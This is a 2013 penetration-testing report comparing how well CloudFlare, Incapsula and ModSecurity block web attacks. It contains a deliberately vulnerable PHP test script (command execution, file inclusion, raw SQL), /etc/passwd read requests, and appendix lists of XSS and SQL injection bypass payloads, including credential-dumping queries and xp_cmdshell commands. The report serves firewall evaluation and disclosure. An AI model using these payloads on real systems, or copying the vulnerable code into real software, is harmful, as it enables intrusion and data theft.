CloudFlare vs Incapsula vs ModSecurity

CloudFlare vs Incapsula vs ModSecurity
(February 13, 2013)
Comparative penetration testing analysis report v2.0

Stefan Petrushevski
Gjoko Krstic
Humberto Cabrera

Index
1. Summary
2. Intro
3. Pricing
4. Setup
5. Configuration
6. Targets and Tools
7. Testing and Results
8. Control Panel
9. References
10. Appendix

1

Summary
This document contains the results of a comparative penetration test conducted by a team of security specialists at Zero
Science Lab against three ‘leading’ web application firewall solutions. Our goal was to bypass security controls in place,
in any way we can, circumventing whatever filters they have. This report also outlines the setup and configuration
process, as well as a detailed security assessment.

Zero Science Lab is a Macedonian Information Security Research and Development laboratory that specializes in
information security hardening, consulting, network security, vulnerability research, software and hardware assessment,
penetration testing, forensics and much more - http://www.zeroscience.mk

We've chosen to test three Web Application Firewall services offered by three different vendors including Trustwave
SpiderLabs ModSecurity, CloudFlare and Incapsula.

Given that ModSecurity is free, we signed up for both CloudFlare and Incapsula paid Business plan. They have
noticeably different prices for their paid plans. CloudFlare Business Plan is $200/month (the WAF is also available in the
Pro Plan, for $20/month). Incapsula Business Plan is $59/month.

Blackbox penetration test was conducted against the three services, applying known filter evasion techniques to bypass
their web application firewall solution using real-life scenarios and variety of attacking vectors.

The table below shows the overall statistics of the testing:

CloudFlare ModSecurity Incapsula
$200/month Free $59/month

Total SQL Injection Tests 54 54 54
SQL Injection Bypassed 54 0 1
SQL Injection Blocked 0 54 53

Total XSS Tests 46 46 46
XSS Bypassed 46 0 3
XSS Blocked 0 46 43

Total LFI/RFI Tests 23 23 23
LFI/RFI Bypassed 23 2 4
LFI/RFI Blocked 0 21 19

From the results table, we can see that ModSecurity has the highest block ratio for known vulnerabilities and attacks.
CloudFlare blocked zero attacks when we attacked our website behind its proxies. Incapsula is more sophisticated in an
overall protecting and reporting capability, where we noticed zero false positives and much more control in securing
your web.

On the other hand, mod_security, due to its design and working mechanism, showed more aggressive behavior and
therefore presented quite high number of false positives.

2

Intro
We’ve decided to jump into the field of WAFs and take a closer look into the services and protection mechanisms they
provide and use. For this purpose we’ve chosen three widely used solutions:

- Cloudflare
- Incapsula
- Trustwave SpiderLabs ModSecurity

Incapsula was referenced in an article as an essential cloud-based security solution for your website. We did some
research and wanted to find another solution for appropriate comparison. CloudFlare looked like a decent opponent.
CloudFlare is a content delivery network and distributed DNS service marketed as improving website performance,
speed and providing security. These solutions looked like they had similar features and would be a good choice for
comparison. We also decided to test ModSecurity, an open-source web application firewall, to see how it would
compare against the other two.

CloudFlare is a cloud-based acceleration and protection service that offers protection from web attacks and
performance optimization, including DDoS mitigation.

“CloudFlare protects and accelerates any website online. Once your website is a part of the CloudFlare community, its
web traffic is routed through our intelligent global network. We automatically optimize the delivery of your web pages so
your visitors get the fastest page load times and best performance. We also block threats and limit abusive bots and
crawlers from wasting your bandwidth and server resources.”

Incapsula is another cloud-based solution featuring website security, web application firewall, performance acceleration
and DDoS protection.

“Incapsula offers state-of-the-art security and performance to websites of all sizes. Through a simple DNS change, your
website's traffic is seamlessly routed through Incapsula’s globally-distributed network of high-powered servers. Incoming
traffic is intelligently profiled in real-time, blocking even the latest web threats: from sophisticated SQL injection attacks
to scrapers, malicious bots, intruding comment spammers and thwarting multi-Gigabit DDoS attacks.”

ModSecurity is an open source cross-platform web server WAF module that protects against common web application
attacks on the application layer.

“With over 70% of all attacks now carried out over the web application level, organisations need every help they can get
in making their systems secure. Web application firewalls are deployed to establish an external security layer that
increases security, detects, and prevents attacks before they reach web applications.”

Challenge accepted!

3

Pricing
Both CloudFlare and Incapsula offer FREE and PAID account plans. The WAF and advanced security services are included
only in the paid plans.

We conducted the test against Incapsula Bussiness plan. Incapsula’s paid plans:

http://www.incapsula.com/pricing-and-plans/compare-all-plans

We conducted the test against CloudFlare Business plan. CloudFlare’s paid plans:

https://www.cloudflare.com/plans

ModSecurity, as previously stated, is an open source solution licensed under Apache Software License v2, meaning, it’s
free of charge.
We conducted the test against ModSecurity’s FREE plan 

http://www.modsecurity.org

4

Setup
The setup process varies between the three services. We’re going to describe the setup experience in order to conclude
which service is the easiest to setup and to start monitoring and protecting our websites.

Case “ModSecurity”:

In order to setup the ModSecurity module, you need a root access to a web server running Apache, nginx or IIS,
respectively. In our case, we are running Apache on Ubuntu machine. To start using ModSecurity, we just needed to:

- download all the dependencies
- download and install modsecurity (libapache-mod-security)
- enable the newly installed module on apache
- download and install OWASP Core Rule Set
- restart apache

Case “Incapsula”:

When we signed up for the Incapsula Business Plan, we’ve added our target domain and got instructions to add a
CNAME record into our DNS to point to one of their proxy servers. The process was pretty straight forward.
Incapsula is a CDN system that uses its data centers to monitor and accelerate traffic for your website using the domain
name system. The changes took an immediate effect and the entire setup process was like 1..2..Done!

5

Case “CloudFlare”:

CloudFlare uses the same principle as Incapsula, but instead of adding one CNAME record, CloudFlare wanted us to
change the NS records to point to their NS (Name Server). Changing the NS of your website might be tricky in some
cases. For example, if you have an AAA proxy as only endpoint and it acts as a NS for all your services, it resolves them
internally in the company private network.

These changes depend on your domain name registrar and how long it will take for the changes to propagate. Next, we
needed to add an A record from the CloudFlare control panel to point to our hosting server. In our case these changes
took ~10 minutes.

We’re not going into details about the setup process and configuration but if you’re worried about the DNS changes and
how does it affect your website security, refer to Philip Tibom’s paper: “Incapsula vs. CloudFlare - Security Review &
Comparison”.

Basically, there was no real hustle in setting up the three WAFs, but, from the three, Incapsula was the easiest to set-up.

6

Configuration
Before we jump to the firewalls and start shooting, we needed to review the default settings and rules of the firewalls.
CloudFlare’s default Security settings for the Basic protection level was set to ‘Medium’ and we needed to change that
into ‘High’.

Also, the Advanced Security (Web Application Firewall) option was set to ‘Off’ because of the initial FREE plan that we’ve
signed up in the 1st place. After upgrading to Business Plan, we needed to change this option to ‘High’. Everything else
on CloudFlare looked good and was ready for testing. Images of configuring CloudFlare below:

CloudFlare main interface

7

To activate or enable the CloudFlare service, you just have to click on the 'cloud' icon:

CloudFlare DNS settings panel

8

The interface for setting up the performance optimization service is fairly simple as well. Each service has a short
description text. If you need additional information on these settings you can read and check the 'Learn more...' links or
check the FAQs section of the website.

CloudFlare performance settings panel

9

This is the main WAF and DDoS protection settings panel. It's similar to the previous two and doesn't offer many/any
customization options. So we just had to 'enable' and set to 'High' the important options.

CloudFlare web security and WAF settings panel

10

Incapsula offers more options for the WAF configuration. The default settings for the Threats behavior were set to 'Alert
Only' for all the three attacks:

SQL Injection is a code injection technique that exploits security vulnerabilities in the database layer of an application.
Attackers can use these vulnerabilities to execute SQL commands on your backend database and steal, corrupt or delete
data on your databases.

Cross-Site Scripting (XSS) is a web application attack that exploits vulnerabilities on website visitor's browsers, which
leads to data theft and potential installation of malicious software on visitor's computers.

Illegal Resource Access is a web application attack used to access restricted resources and sensitive pages on your web
server.

Remote File Inclusion allows an attacker to include a remote file usually through a script on the web server. Attackers
use this type of attacks to steal information and even crash your web site.

Backdoor Protect is a nice feature by Incapsula that allows you to detect and quarantine backdoors. It automatically
blocks any attempts to upload a webshell to the target.

Of course we had to change all of these to Block Request. Images of configuring Incapsula below:

Incapsula main interface

11

Incapsula site and acceleration settings panel

Incapsula reports and notifications settings panel

12

Incapsula bot access and block/allow criteria security settings panel

13

Incapsula WAF threat behavior settings panel

As you can see from the screenshots, Incapsula has a modern, easy to use UI with great UX, and compared to
CloudFlare, it offers you way more customization/configuration options.

14

ModSecurity default settings are set to block on specific pattern match and signature based detection of known web
attacks. We've included the OWASP Base Rules:

modsecurity_35_bad_robots.data
modsecurity_35_scanners.data
modsecurity_40_generic_attacks.data
modsecurity_50_outbound.data
modsecurity_50_outbound_malware.data
modsecurity_crs_20_protocol_violations.conf
modsecurity_crs_21_protocol_anomalies.conf
modsecurity_crs_23_request_limits.conf
modsecurity_crs_30_http_policy.conf
modsecurity_crs_35_bad_robots.conf
modsecurity_crs_40_generic_attacks.conf
modsecurity_crs_41_sql_injection_attacks.conf
modsecurity_crs_41_xss_attacks.conf
modsecurity_crs_42_tight_security.conf
modsecurity_crs_45_trojans.conf
modsecurity_crs_47_common_exceptions.conf
modsecurity_crs_48_local_exceptions.conf.example
modsecurity_crs_49_inbound_blocking.conf
modsecurity_crs_50_outbound.conf
modsecurity_crs_59_outbound_blocking.conf
modsecurity_crs_60_correlation.conf

The three vendors should meet the requirements of the important selection criteria for web application firewalls by
OWASP.
https://www.owasp.org/index.php/Web_Application_Firewall

15

Targets and Tools
For this occasion we’ve created three separate testbeds on several different hosts.

- CloudFlare - http://usbvault.com

- Incapsula - http://incapsula.zeroscience.mk

- ModSecurity - http://partizan.insec.si, http://4sylum.destr0y.net and http://ceru.si

All the hosts are running Apache web server with PHP and MySQL. We developed a proof-of-concept script vulnerable to
XSS, SQLi, LFI and RFI, and installed it on each host. Also, we’ve installed couple of real-world web applications,
vulnerable to different web attacks and known exploits, including Wordpress, Joomla, Webgrind and ZenPhoto.

WordPress installation details:

- WordPress 3.5
- WordPress HD WebPlayer Plugin 1.1 - SQL Injection (http://www.exploit-db.com/exploits/20918/)
- Wordpress FoxyPress Plugin 0.4.2.5 - Multiple Vulnerabilities (http://www.exploit-db.com/exploits/22374/)
- WordPress W3 Total Cache Plugin 0.9.2.4 - Information Disclosure (http://seclists.org/fulldisclosure/2012/Dec/242)

Joomla installation details:

- Joomla 2.5.8
- JCE Joomla Extension 2.0.10 - Multiple Vulnerabilities (http://www.exploit-db.com/exploits/17734/)

Other:

- ZenPhoto 1.4.0.3 - Persistent Cross-Site Scripting (http://www.exploit-db.com/exploits/17200/)
- Webgrind 1.0 - Local File Inclusion Vulnerability (http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php)

Tools used:

- Acunetix Web Vulnerability Scanner
- OWASP Zed Attack Proxy (ZAP)
- Burp
- Havij SQL Injection Tool
- Tamper Data
- FireBug, Fiddler

Browsers used:

- Mozilla Firefox
- Microsoft Internet Explorer
- Google Chrome
- Apple Safari
- Opera

Because of the nature of web application firewalls, firstly we've tested every service manually with known filter evasion
techniques, OWASP Top 10, bad bots, malware, XSS and SQL Injection cheat sheets, and different encoding and
obfuscation methods, including: Unicode Encoding, HTML Encoding, Hex and Octal Encoding, Javascript Escaping,
Whitespaces, SQL Comments, HTTP Parameter Pollution.

16

Contents of the poc.php script:

<html>
<title> RFI/LFI/SQLI/XSS PoC App </title>
<body>
<h1>PoC:</h1>
- Search - sql inj
<br />
- Search2 - concat sql inj
<br />
- cmd - lfi inj
<br />
- cmd2 - rfi inj
<br />
- x - xss parameter
<br /><br />
<?php

$username="zsltestuser";
$password="zsltestpass";
$db="zsltestdb";
mysql_connect(localhost,$username,$password) or die("NO NO!");
mysql_select_db($db);

$query=$_GET["Search"];
if(isset($query)){
$results=mysql_query($query);
if($results != null){
print_r (mysql_fetch_row($results));
}else{
echo "Zero findings...";
}
mysql_close();
}

$s2=$_GET["Search2"];
if(isset($s2)){
$lq = "select * from testwaf where testzsl ='$s2'";
//echo $lq;
$results2=mysql_query($lq);
if($results2 != null){
print_r (mysql_fetch_row($results2));
}else{
echo "Zero findings...";
}
mysql_close();
}

$cmd=$_GET["cmd"];
if(isset($cmd)){
echo "<br /<br />LFI results-";
passthru($cmd);
}

$cmd2=$_GET["cmd2"];
if(isset($cmd2)){
echo "<br /><br />RFI results-";
include($cmd2);
}

$x = $_GET["x"];
if(isset($x)){
echo "<h2>".$x."</h2>";
}

?>
</body></html>

17

Testing and Results
We executed the tests on the three solutions in a three day timeframe and found some quite interesting conclusions.

CloudFlare ModSecurity Incapsula

Total SQL Injection Tests 54 54 54
SQL Injection Bypassed 54 0 1
SQL Injection Blocked 0 54 53

Total XSS Tests 46 46 46
XSS Bypassed 46 0 3
XSS Blocked 0 46 43

Total LFI/RFI Tests 23 23 23
LFI/RFI Bypassed 23 2 4
LFI/RFI Blocked 0 21 19

Case “CloudFlare”:

Though CloudFlare is presented as, besides other things, a very proficient web application firewall, we concluded that
that’s just a marketing sales point and nothing more. During the whole testing phase we barely got blocked a couple of
times by their engine! Remember, we are using their Business Plan which should be an enterprise WAF solution for your
company.

First, we thought that we might have misconfigured something and that the whole service is not working properly, so we
double checked the setup and the configuration, set every possible protection option to 'High', and again got the same
results.

CloudFlare does NOT protect from web attacks!

18

Example of a bypassed SQL Injection attack against a website running WordPress HD WebPlayer Plugin:

Cross-Site Scripting bypass:

19

Real-world malware spreading using RFI bypass:

It’s fair to say, that the option for manually blocking IPs and/or countries works very well and changes like these take
effect almost immediately. The default ‘block’ page design looks modern but CloudFlare also allows you to customize it
by your company brand and web standards. Along with the ease of use, this is another great sales point for CloudFlare.

20

The few times CloudFlare actually took action and blocked us was while we were using automated tools such as Havij,
ZAP and Acunetix. Our IP looked suspicious because of the many GET/POST requests initiated in a short period of time so
CloudFlare put it in the ‘bot blacklist’. Again, this is not a full block page but more of a bot control challenge page. If you
enter the correct CAPTCHA values, you can still shoot malicious requests to the “protected” website.

It’s a known fact that most of the CAPTCHA systems can be bypassed.

Another design flaw that we identified is that CloudFlare creates two default subdomain hosts for direct access to the
web server and escaping the CloudFlare network completely - direct.usbvault.com and ftp.usbvault.com. We strongly
recommend deleting all the default subdomain hosts and run all the traffic through CloudFlare’s CDN.

21

The last service CloudFlare offers is performance optimization. We didn’t execute proper tests to compare it with
Incapsula (and modsecurity), but while browsing, we noticed the improved website performance after running the
website behind both CloudFlare and Incapsula network.

Case “Incapsula”:

Incapsula seemed like it had much better performance as well as features compared to CloudFlare. Their WAF blocked
most of our XSS, SQLi and LFI/RFI attacks. It seems that Incapsula is using an up-to-date attack signatures database that
it uses to identify and mitigate attacks. However this is usually not enough. We managed to bypass and defeat
Incapsula's filters by simply escaping the "/" char with "":

GET http://incapsula.zeroscience.mk/poc.php?cmd=cat%20/etc/passwd HTTP/1.1

This attempt is blocked by Incapsula, successfully detecting the LFI:

But you can bypass it by adding the backslash "" char:

GET http://incapsula.zeroscience.mk/poc.php?cmd=cat%20/etc/passwd HTTP/1.1

22

Object tag + Base64 encoding Cross-Site Scripting bypass:

23

We noticed that Incapsula doesn't block malicious attacks that are embedded in the HTTP Header Fields like: User-
Agent, Accept, Accept-Language, Connection, Cache-Control, X-forwarded-For, etc.

Incapsula and ModSecurity successfully blocked the JCE Joomla Component Arbitrary File Upload exploit attempt when
we tried to upload a webshell to the websites.

You can see the complete list of blocked and bypassed strings in the Appendix.

The service for blocking visitors by country or source IP works as good as the one on CloudFlare. Unlike CloudFlare, the
changes in Incapsula's configuration took longer time to take effect. It’s usually 4 to 11 minutes, which can be too long if
you get caught in a Shit Storm.

Incapsula has a nice bot control block page, which is similar to CloudFlare's, but far more effective. Once you completed
the CAPTCHA challenge and continue to attack, you still get blocked when issuing malicious requests because of the IP
session monitoring by Incapsula.

24

We can conclude that Incapsula showed better WAF performances than CloudFlare, but their patterns are too generic.
Their WAF seems to have a subset of rules and signatures that block most of the common attack strings but it can still be
bypassed by using known techniques.

Incapsula is PCI Certified, meaning it audits security rules configuration changes and periodically reports on your
compliance with PCI 6.6 requirements.

CloudFlare and Incapsula both offer SSL support for your website that is very easy to setup.

CloudFlare offers two options: Flexible SSL and Full SSL. Flexible SSL can be set wih one click, not needing to setup SSL on
your server, which is needed for the Full SSL option. Incapsula uses full SSL where you need a certificate on your server
to setup SSL between their proxy and your site, like CloudFlare's Full SSL option. Both services offer strong encryption
algorithms. CloudFlare uses RC4, 128 bit key, Incapsula is a bit better and uses Camellia-256 with 256 bit key.

The CloudFlare and Incapsula DDoS protection feature was not tested.

Case “ModSecurity”:

When comparing the number of attacks that bypassed each service, ModSecurity was the winner in this WAF test,
however this does not take into account the false positives - which is an issue that websites are very sensitive to, and
usability.

Reflected Cross-Site Scripting attack blocked:

25

HTTP Header fields with XSS attack blocked:

In the aspect of blocking bots and visitors by country or an IP, ModSecurity can’t compete with Incapsula and CloudFlare
but that’s not even included in their solution specs. ModSecurity is solely focused on blocking against web attacks such
as XSS, LFI/RFI, SQLi, and it does that very well!

Fuzzing with SQL Injection strings using OWASP ZAP:

26

LFI/RFI bypass:

Incapsula and ModSecurity teams are also constantly working on updating their patterns. In case of Incapsula, these new
security rules are aggregated via Cloud to all users. Similar to this, ModSecurity can also be set to auto-update
configuration. Just before we started the test, a major WordPress plugin exploit code has been released, exploiting
vulnerability in W3 Total Cache Plugin.

Both Incapsula and ModSecurity responded fast by providing a pattern match rule that protected your website against
this particular attack.

You can see the whole list of blocked and bypassed attack strings by ModSecurity in the Appendix.

27

Control Panel
Modsecurity doesn’t offer any user-friendly control interface like Incapsula and CloudFlare have. Both CloudFlare and
Incapsula have a control panel that any sysadmin would easily adapt to.

CloudFlare has a simple interface that any user profile could use, but it is this simplicity that makes it poor in advanced
configuration options. You can change the general security settings with options like High, Medium or Low,
Enable/Disable, etc. but there is no real control for editing the threat behavior and viewing more details about the
security notifications for your website, besides the Block and Trust by IP, IP range and country options.

From the configuration level, we saw that CloudFlare gives you the ability to create custom error pages, and customize
the CAPTCHA challenge page. It also gives you the power to create Page Rules using pattern matching and actions to
forward to another resource once the match is found, Custom caching, etc. You can insert a maximum of 50 page rules.

28

The CloudFlare dashboard gives you statistics about visitors information, search engines crawlers and threat
information. The threat control panel has very little information where the DETAILS tab doesn't work that well, WHOIS -
we already know what that does and that's it. No visitor details from our attacks traffic, no e-mail notifications.

29

Incapsula provides way more information and attack analytics for your website. The dashboard design is great for
navigation and to adapt quickly, and it gives us four categories: Traffic, Security, Performance and Activity Log which
include detailed information about your visitors, performance logs and security event logs.

In the configuration level we saw that Incapsula gives us more control for setting notification alerts, threat behavior
rules and detailed log for requested pages, either malicious or normal. You can review the Events panel that offers
detailed information about a detected threat, like the requested URL, User-Agent details, OS, Response Code, Query
String, Attack Type (if any), Pattern executed, and the parameter used.

32

In the Events panel, you can filter results by several categories: Visitor Type, WAF, Security, Country, Client App and
Incident ID.

34

Incapsula has also a great report notification alert system and it comes in four types: Threat Alert, Visitor Alert, Weekly
Report and PCI Report. Depending on your settings, on every attack attempt we received an e-mail containing threat
details, like source IP, threat type, pattern, etc.

36

As we've stated earlier, ModSecurity doesn't offer any user-friendly control interface. You can review the access logs
manually in the apache log directory (depending on your configuration): /var/log/apache2/modsec_audit.log. However,
there are 3rd-party tools you could use that offer friendly UI representation of these logs.

37

References
1. Methods to Bypass a Web Application Firewall
- http://www.slideshare.net/devteev/methods-to-bypass-a-web-application-firewall-eng

2. Basic to Advanced WAF Bypassing Methods
- http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods

3. OWASP XSS Filter Evasion Cheat Sheet
- https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

4. Web Application Firewall Evaluation Criteria
- https://files.pbworks.com/download/Pp1PbtgRVo/webappsec/13247061/wasc-wafec-v1.0.pdf

5. SQLi filter evasion cheat sheet (MySQL)
- http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql

6. SQL Injection Cheat Sheet
- http://ferruh.mavituna.com/sql-injection-cheatsheet-oku

7. Bypassing Web Application Firewalls with SQLMap Tamper Scripts
- http://www.websec.ca/blog/view/Bypassing_WAFs_with_SQLMap

8. ModSecurity OWASP Base Rules
- https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/base_rules

9. URL Embedded Attacks
- http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html

10. List of HTTP header fields
- http://en.wikipedia.org/wiki/List_of_HTTP_header_fields

11. Incapsula vs. CloudFlare - Security Review & Comparison
- http://www.tourney.se/downloads/Full-Review.pdf

12. Incapsula - Essential Cloud based Security Solution for your Website
- http://thehackernews.com/2012/10/incapsula-essential-cloud-based_15.html

13. OWASP Top Ten Project
- https://www.owasp.org/index.php/Top_10

14. HTTP Parameter Pollution
- https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Thanks to:

Daniel Djurevski (http://www.usbvault.com)
Aljaz Ceru - InSec (http://www.insec.si)
Samii Pelon - "Cute Monsters"

38

Appendix

CloudFlare XSS bypass list:

- /poc.php?x=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
- /poc.php?x=%3Ca%20href=%22http://google.com%22%3Etest%3C/a%3E
- /poc.php?x=%3CA%20HREF=%22http://www.google.com%22%3EXSS%3C/A%3E
- /poc.php?x=%3CA%20HREF=%22http://1113982867/%22%3EXSS%3C/A%3E (dword)
- /poc.php?x=%3CA%20HREF=%22http://0102.0146.0007.00000223/%22%3EXSS%3C/A%3E (octal)
- /poc.php?x=%3CA%20HREF=%22http://0x42.0x0000066.0x7.0x93/%22%3EXSS%3C/A%3E
- /poc.php?x=%3CMETA%20HTTP-
EQUIV=%22refresh%22%20CONTENT=%220;url=javascript:alert%28%27ZSL%27%29;%22%3E
EQUIV=%22refresh%22%20CONTENT=%220;url=data:text/html%20base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njcmlw
dD4K%22%3E
- /poc.php?x=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://google.com%22%3E
- /poc.php?x=%3CIMG%20SRC=%60javascript:alert%28%22RSnake%20says,%20%27XSS%27%22%29%60%3E
- /poc.php?x=%3CBODY%20BACKGROUND=%22javascript:alert%28%27XSS%27%29%22%3E
- /poc.php?x=1%3Cdiv%20style%3dwidth%3aexpression%28prompt%281337%29%29%3E
-
/poc.php?x=%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/
SCRIPT%3E
- /poc.php?x=%3CBGSOUND%20SRC=%22javascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3CLINK%20REL=%22stylesheet%22%20HREF=%22javascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3C/TITLE%3E%3CSCRIPT%3Ealert%28%22XSS%22%29;%3C/SCRIPT%3E
-
/poc.php?x=window[%27u0065u0076u0061u006C%27]%28%27u0061u006Cu0065u0072u0074u0028u0027u
0078u0073u0073u0027u0029%27%29%20%28javascript%20escape%29
-
/poc.php?x=%3CSCRIPT%3Edocument.write%28%22%3CSCRI%22%29;%3C/SCRIPT%3EPT%20SRC=%22http://ha.ckers.o
rg/xss.js%22%3E%3C/SCRIPT%3E
- /poc.php?x=%3E%3Cp%3E%3Ca%20href=%t%3Eonload!#$%&%28%29*~+-_.,:;?@[/|]^%60=waddupa%28%29;%22%3E
- /poc.php?x=%3Ciframe%20src=http://ha.ckers.org/scriptlet.html%20%3C
- /poc.php?x=%27%27;!--%22%3CXSS%3E=&{%28%29}
- /poc.php?x=%3CIMG%20SRC=%22jav	ascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3CBR%20SIZE=%22&{alert%28%27XSS%27%29}%22%3E
- /poc.php?x=x61x6cx65x72x74x28x27x58x53x53x2729
- /test.php?secret_file=%0D%0A%00
- /poc.php?x=<a href="http://google.com">test</a>
- /poc.php?x=<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
- /poc.php?x=%3CA%20HREF=%22http://1113982867/%22%3EXSS%3C/A%3E (Dword encoding)
- /poc.php?x=%3CA%20HREF=%22http://0102.0146.0007.00000223/%22%3EXSS%3C/A%3E (Octal)
- /poc.php?x=<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> (hex)
dD4K%22%3E
- /poc.php?x='';!--%22%3CXSS%3E=&{()}
- /poc.php?x=<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://google.com"> (open redirect)
- /poc.php?x=%3C/h2%3E%3CIMG%20SRC=http://www.zeroscience.mk/images/labzs.jpg%3E
- /poc.php?x=14115414516216450471701631634751 (octal)
- /poc.php?x=x61x6cx65x72x74x28x27x58x53x53x2729 (hex)
- /poc.php?x=<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
- /poc.php?x=%3Ca%20href=%22http://zeroscience.mk%22%3E%3Ci%3E%3Cu%3ELiquidWorm%3C/a%3E
- /poc.php?x=<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> (Grave accent obfuscation)
- /poc.php?x=<IMG
SRC=javascript:alert&#40
;'XSS')> (UTF-8 Unicode encoding)
- /poc.php?x=<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58
&#x53&#x53&#x27&#x29> (Hex encoding without semicolons)
- /poc.php?x=%3CIMG%20SRC=%22jav	ascript:alert('XSS');"> (Embedded Encoded tab)
- /poc.php?x=<IMG SRC='vbscript:msgbox("XSS")'> (VBScript in an image)
- /poc.php?x=<BR SIZE="&{alert('XSS')}"> (& JavaScript includes)
- /poc.php?x=%3E%3Cp%3E%3Ca%20href=%t%3Eonload!#$%&()*~+-_.,:;?@[/|]^`=waddupa();">

39

CloudFlare SQLi bypass list:

- /poc.php?x=test%27%20UNION%20ALL%20select%20NULL%20--
- /poc.php?x=test%20/%20sleep(5)%20
-
/test.php?secret_file=create%20table%20myfile%20%28line%20varchar%288000%29%29%22%20bulk%20insert%2
0foo%20from%20%27c%3ainetpubwwwrootauth.asp?%27%22%20select%20*%20from%20myfile%22--
- /poc.php?Search=select%20*%20from%20testwaf;
- /poc.php?Search=%00%27%20orx00%201%3D1--
- /poc.php?Search=23%27or%271%27=1
- /poc.php?Search=%27%20=+%20%27
- /poc.php?Search=aa%27%20LIKE%20md5%281%29%20or%20%271
-
/poc.php?Search=%91%20or%20round%28pi%28%29,1%29+true+true%20=%20version%28%29#%20or%203.1+1+1%20=%
205.1
-
/poc.php?Search=INSERT%20INTO%20members%28id,%20user,%20pass%29%20VALUES%281,%20%27%27+SUBSTRING%28
@@version,1,10%29%20,10%29
-
/poc.php?Search=1+union+select+load_file%280x63...%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
,1,1,1,1,1,1,
-
/poc.php?Search=%27%09%09%09%09%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0or%201%3D1--
-
/poc.php?Search=%27%20or%2F*!%201%3D1*%2F%97%20%20%201%27UNION/*%210SELECT%20user%2C2%2C3%2C4%2C5%2
C6%2C7%2C8%2C9/*%210from/*%210mysql.user/*--
- /wp/wp-
content/plugins/webplayer/playlist.php?videoid=1+/*!UNioN*/+/*!SELECT*/+group_concat%28ID,0x3a,user
_login,0x3a,user_pass,0x3b%29,2,3,4,5,6,7,8,9,10,11+from+wp_users
- /poc.php?Search=exec%20master%2e%2exp_cmdshell%20'net%2busers'
-
/test.php?secret_file=%27;%20/*,1*/%20EXEC%20/*,1*/%20master..xp_cmdshell%20/*,1*/%20%22ping%2010.1
.1.3%22%20/*,1*/%20--
-
/test.php?secret_file=select/*&secret_file=*/name&secret_file=password/*&secret_file=*/from/*&secre
t_file=*/users
- /test.php?secret_file=substr%28%E2%80%98abc%E2%80%99,1,1%29%20=%20%E2%80%98a%E2%80%99
-
/test.php?secret_file=union%20all%20select%20all%20%60delcoang_zslwaf%60%20from%60information_schem
a%60.%20%60tables%60
-
/test.php?secret_file=%E2%80%98%20and%20substr%28%28select%20max%28pass%29%20from%20users%29,1,1%29
=%E2%80%99a
- /test.php?secret_file=select%20name&secret_file=password%20from%20users (HPP)
- /wp/wp-
content/plugins/webplayer/playlist.php?videoid=1%2b/*!UNioN*/+/*!SELECT*/+group_concat%28ID,0x3a,us
er_login,0x3a,user_pass,0x3b%29,2,3,4,5,6,7,8,9,10,11+from+wp_users (UNION vs UNioN or + vs %2b)
- /poc.php?Search=%00%27%20orx00%201%3D1-- (invalid chars)
- /poc.php?Search='%20=+%20'
- /poc.php?Search=aa'%20LIKE%20md5(1)%20or%20'1
- /poc.php?Search=%91%20or%20round(pi(),1)+true+true%20=%20version()# or 3.1+1+1 = 5.1
-
/poc.php?Search=(0)union(select(table_name),column_name,%85%20%200/**/union/*!50000select*/table_na
me%60foo%60/**/%85%20%200%a0union%a0select%09group_concat(table_name)%85.%20%200?union%20all%20sele
ct%20all%60table_name%60foo%20from%60information_schema%60.%20%60tables%60
- /poc.php?Search=%20%20%09%20%0a%20%0b%20%0c%20%0d%20%a0%20/**/ (whitespaces)
- /poc.php?Search=%91union(select(1),tabe_name,(3)from%60information_schema%60.%60tables%60)#
(whitespaces)
- /poc.php?Search=ascii%20(97) (function filtering)
-
/poc.php?Search=INSERT%20INTO%20members(id,%20user,%20pass)%20VALUES(1,%20''+SUBSTRING(@@version,1,
10)%20,10)
- /poc.php?Search=1%20and%20UNION%20SELECT%20*%20FROM%20testwaf
- /poc.php?Search=select/*&Search=*/name&Search=password/*&Search=*/from/*&Search=*/users (HPP)
- /poc.php?Search=1%271
- /poc.php?Search=%u0027%u0020%u006f%u0072%u0020%u0031%u003d%u0031%u002d%u002d (MS Unicode
Encoding)

40

